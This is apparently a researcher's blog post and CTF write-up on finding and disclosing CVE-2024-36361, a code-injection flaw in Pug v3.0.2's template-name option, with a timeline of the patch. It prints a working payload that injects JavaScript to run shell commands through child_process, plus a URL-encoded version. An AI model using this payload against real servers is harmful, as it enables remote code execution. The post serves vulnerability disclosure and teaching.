Pug v3.0.2 RCE (CVE-2024-36361)
![](/images/samuzora.png)
This is the story of how I almost made a zero-day for a CTF challenge, and how it subsequently became my first-ever CVE, CVE-2024-36361.
Conception
It was just slightly more than 2 weeks before HACK@AC 2024. I had spent most of my time fixing the CTF platform and making sure it was ready for the competition, and was desperate for a more difficult web chall (the hardest we had was a Docker internal network SSRF challenge - and we had about 5 easy ones at that point). I preferably wanted something with RCE too, since all the other challs weren’t RCE.
Passing user input into the options
object of JS templating engines has always had a super large attack surface, which
makes it really fun to exploit. I first took a look at EJS, but after a while changed my mind because it was overdone
and also fairly well-patched.
Then I took a look at Pug, which I haven’t really seen many novel exploits for besides the pretty
exploit. To find
something new and that didn’t have a PoC online that participants could just copy to cheese the challenge, I had to
read the source code very carefully.
Pug stuff
Anytime Pug is compiled to JavaScript, the Pug source is eventually passed to Compiler.compile
through generateCode
:
function generateCode(ast, options) { |
Because of this, most of the potential injections will occur in the Compiler
class, so I had to read it extra
carefully.
In Compiler.compile
, the first option that I found that was injected so-called unsafely was options.includeSources
:
if (this.debug) { |
This looked really promising! The variable this.debug
is set in the following line:
this.debug = false !== options.compileDebug; |
All I need to do is to make options.compileDebug
something other than false
, and also supply
options.includeSources
to escape the pug_debug_sources
variable, getting my RCE!
However, my hopes were dashed when I went to the actual call of generateCode
in compileBody
:
var js = (findReplacementFunc(plugins, 'generateCode') || generateCode)(ast, { |
options.includeSources
is set to a boolean value, so I can’t put arbitrary code in it, killing my exploit idea
completely. Disappointed, but still faced with the very real need to make a challenge before the deadline, I continued
reading the code. Then, this next line caught my attention:
return ( |
After being run, this bit of the compiled JS becomes something like
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;} |
If we can set options.templateName
, we can possibly change it to something containing spaces or other characters that
don’t form a valid JS identifier and can break the parsing. For example, if templateName is "asdf(){}; console.log('hi'); //"
, then the compiled code would be
function asdf(){}; console.log('hi'); //(locals) {var pug_html = "", pug_mixins = {}, pug_interp;} |
One small problem - we can’t control options.templateName
either. Going up the call stack to exports.compile
, I
realized that options.templateName
is always set to template
.
var parsed = compileBody(str, { |
At this point, I was really running out of time. Since the main issue stopping the exploit was in exports.compile
, I
thought: why not just bypass the export and call compileBody
directly?
So, in the original challenge, that’s exactly what I did. I copied the Pug source code over and rendered the output
using the unexported function compileBody
, and it worked like a charm! Done and satisfied with my web challenge, I
moved on to doing some vetting for the other challs.
(for HACK@AC participants that want the writeup for Puggers)
Challenge writeup
This is the source code for the challenge:
const express = require("express") |
req.query
is passed to compileBody
options, so the user can control the options
parameter. Based on the above
analysis, this is the payload:
template() { return global.process.mainModule.require("child_process").execSync("cat flag.txt").toString() } function asdf |
URL encode it and set it as the templateName
query parameter:
.../?templateName=template()%20%7B%20return%20global.process.mainModule.require(%22child_process%22).execSync(%22cat%20flag.txt%22).toString()%20%7D%20function%20asdf |
ACSI{pug_rc3_i5_n0t_p0ggers}
OK back to the CVE!
Post HACK@AC
A while after HACK@AC (it wasn’t solved during the CTF), OwOverflow managed to solve it.
He subsequently messaged me on Discord and asked me if he can open a PR on the Pug repo to implement checks on
templateName
so that the exploit wouldn’t work anymore. At that time, I didn’t think this was a valid vulnerability as
I had to expose unexported functions to make the exploit work, but he was convinced it was a vuln. Anyway, no harm
patching it to be extra-safe right? So I gave him the go-ahead.
The patch was quite simple - just implement a regex check /^[0-9a-zA-Z\_]+?$/
to make sure templateName
is a valid
JS identifier. The PR was made on 26 Feb (https://github.com/pugjs/pug/pull/3428), and approved but not merged for a
period of time.
Turning into a CVE
Fast forward 3 months later, I was done with most of my school graded projects and had a bit of time on my hands.
I was bored and wanted to see what progress the PR had made. Surprisingly, it was still sitting there and not merged.
Seeing that the last commit to main was more than 3 years ago, I thought there was a non-zero chance the project was already abandoned. So I decided to take another look at the codebase.
First, I wanted to check if the vector for options.includeSources
was truly unexploitable. Taking a closer look, I saw
that options.includeSources
is not actually being passed to generateCode
- instead, if options.includeSources === true
, then it passes debug_sources
in. (really confusing naming but sure)
function compileBody(str, options) { |
The key of debug_sources
can be controlled by options.filename
, as shown above! And in exports.compile
,
options.filename
can be controlled by the attacker, so this seems like a valid exploit path!
TLDR it didn’t work in the end, because options.includeSources
is passed to stringify
first, which escapes the
quotes and makes it impossible to escape the syntax. (I should have noticed this way earlier)
Then I turned back to the templateName
vector.
I decided to search for all instances of templateName
in the repo (which wasn’t a lot) and found a less-used set of
functions, the compileClient
family of functions. The main function is compileClientWithDependenciesTracked
, which
compileClient
and compileFileClient
implements a wrapper over.
In compileClientWithDependenciesTracked
:
exports.compileClientWithDependenciesTracked = function(str, options) { |
options.name
is being passed directly to templateName
! Afterwards, no further checks are done in compileBody
to
ensure that options.templateName
is a valid JS identifier , meaning we can break out of the template
function name
and inject arbitrary JS!
For reference, this is the compiled string we want to target:
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;} |
Excited, I began to write a PoC. While writing, I soon realized that this usage of compileClient
was very
unconventional - would you really see something like this in real-world code?
const express = require("express") |
Nevertheless, this PoC worked and I was able to get RCE, with the same payload as the solution to the challenge I set
for HACK@AC (just changing templateName
to name
). Since the exploit required the use of compileClient
, the
compiled JS code may also be sent to client side and eval
ed, thus leading to XSS too. This is the PoC for XSS
(slightly longer than for RCE):
const express = require("express") |
As noted earlier, the scope for this templateName
vector is more restricted, because it is unlikely for user input to
be passed into compileClient
. Nonetheless, I left my findings on a comment in the PR, and also sent a separate report
to their security contact, who responded really quickly!
Less than 2 weeks later, the patch was released and CVE-2024-36361 was assigned to the vuln. At the time of writing, the
vuln is still under dispute, because of the contentious and impractical usage of the compileClient
functions required
for the exploit to be feasible.
Timeline
- First discovery: Mid Feb 2024
- PR with patch opened: Late Feb 2024
- Re-discovery with legitimate exploit path: 14th May 2024
- Maintainers contacted: 14th May 2024
- Reported to security contact: 17th May 2024
- CVE-2024-36361 assigned: 24th May 2024
- Patch released: 24th May 2024
Thanks to Tidelift and the Pug maintainer ForbesLindesay for a smooth and quick process from report to patch!